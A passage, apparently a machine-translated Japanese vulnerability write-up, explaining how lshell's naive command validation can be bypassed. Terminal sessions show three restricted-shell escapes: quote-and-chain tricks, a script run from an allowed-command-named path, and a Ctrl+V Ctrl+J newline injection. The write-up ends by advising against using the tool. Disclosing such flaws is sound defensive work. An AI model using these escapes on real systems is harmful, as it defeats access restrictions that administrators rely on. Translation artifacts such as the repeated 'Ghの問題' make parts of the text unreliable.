など、使用するためにそれを提供する多くのソースがあります。
このアプリケーションは、Ubuntu、Debian、およびEPELのリポジトリで利用できます。
コードの問題
構成ファイルに関するlshellの注意事項を簡単に見ると、lshellによって導入された制限の一部は、コマンドの構文解析を単純化するために使用されており、セキュリティを強化するものではないことがわかります。 たとえば、セミコロンとサブシェルの使用の禁止。 この構文解析がどのように実装されているかを詳しく見ることは理にかなっています。
ソースコードを調べると、起動されたコマンドとその引数の選択は、単純なCLIコマンドの解析を目的としたライブラリによって行われ、シェルコマンドの複雑な構文を正しく解析しないことが明らかになります。 同時に、 ドキュメントの警告にもかかわらず、単純な検証の後、 コマンドは/ bin / shシェルに渡されます 。 検証には特別な注意が必要であり、次の前提に基づいています。
- チームは常に単線です
- 引用符内でチェックする必要はありません
構文の実際の構文解析はどこにも存在しないため、これは検証で行われたすべての仮定とはほど遠いものです。
結果
このような制限されたシェルからのエスケープには、次のシナリオが利用可能です。
シナリオ1:引用符とコマンドチェーンの問題を利用する
Ghの問題
vladislav @ dt1:〜$ getent passwd testuser testuser:x:1002:1003:,,,:/ home / testuser:/ usr / bin / lshell Vladislav @ dt1:〜$ su-テストユーザー パスワード: あなたは限られたシェルにいます。 「?」と入力します または「help」は許可されたコマンドのリストを取得します testuser:〜$? cd clear echo exit help history ll lpath ls lsudo テストユーザー:〜$ ls examples.desktop テストユーザー:〜$ which bash ***禁止コマンド:which testuser:〜$ ls'usb ' バス002デバイス001:ID 1d6b:0003 Linux Foundation 3.0ルートハブ バス001デバイス006:ID 046d:c05a Logitech、Inc. M90 / M100光学式マウス バス001デバイス002:ID 046d:c31c Logitech、Inc. キーボードK120 バス001デバイス001:ID 1d6b:0002 Linux Foundation 2.0ルートハブ testuser:〜$ echo && 'bash' testuser @ dt1:〜$ PATH = / usr / local / sbin:/ usr / local / bin:/ usr / sbin:/ usr / bin:/ sbin:/ bin:/ usr / games:/ usr / local / games: /スナップ/ビン testuser @ dt1:〜$ reboot --help 再起動[オプション...] [ARG] システムを再起動します。 --helpこのヘルプを表示 --haltマシンを停止します -p --poweroffマシンのスイッチをオフにします --rebootマシンを再起動します -f --force強制的に即時停止/電源オフ/再起動 -w --wtmp-only wtmpレコードを書き込むだけで、停止/電源オフ/再起動しません -d --no-wtmp wtmpレコードを書き込みません --no-wall停止/電源オフ/再起動の前に壁メッセージを送信しません
Ghの問題
シナリオ2:ホームディレクトリからスクリプトを実行します。パスには許可されたコマンドの名前が含まれます
Ghの問題
Vladislav @ dt1:〜$ su-テストユーザー パスワード: あなたは限られたシェルにいます。 「?」と入力します または「help」は許可されたコマンドのリストを取得します testuser:〜$? cd clear echo exit help history ll lpath ls lsudo testuser:〜$ echo '/ 1.sh' testuser @ dt1:〜$ cat echo / 1.sh #!/ bin / bash / bin / bash testuser @ dt1:〜$
Ghの問題
シナリオ3:カスタムターミナルシーケンスの使用
任意の許可された単語でコマンドを開始し、2つのキーボードショートカット<CTRL + V> <CTRL + J>を連続して押して改行を挿入し、必要なコマンドを新しい行に入力するだけで十分です。
Ghの問題
vladislav @ dt1:〜$ getent passwd testuser testuser:x:1001:1002:,,,:/ home / testuser:/ usr / bin / lshell Vladislav @ dt1:〜$ su-テストユーザー パスワード: あなたは限られたシェルにいます。 「?」と入力します または「help」は許可されたコマンドのリストを取得します testuser:〜$? cd clear echo exit help history ll lpath ls lsudo testuser:〜$ bash ***禁止コマンド:bash testuser:〜$ echo <CTRL + V> <CTRL + J> バッシュ testuser @ dt1:〜$ which bash / bin / bash
Ghの問題
最適なソリューション
このソフトウェアソリューションは、安全に使用できる状態からはかけ離れています。 したがって、最善の方法は、操作を停止することです。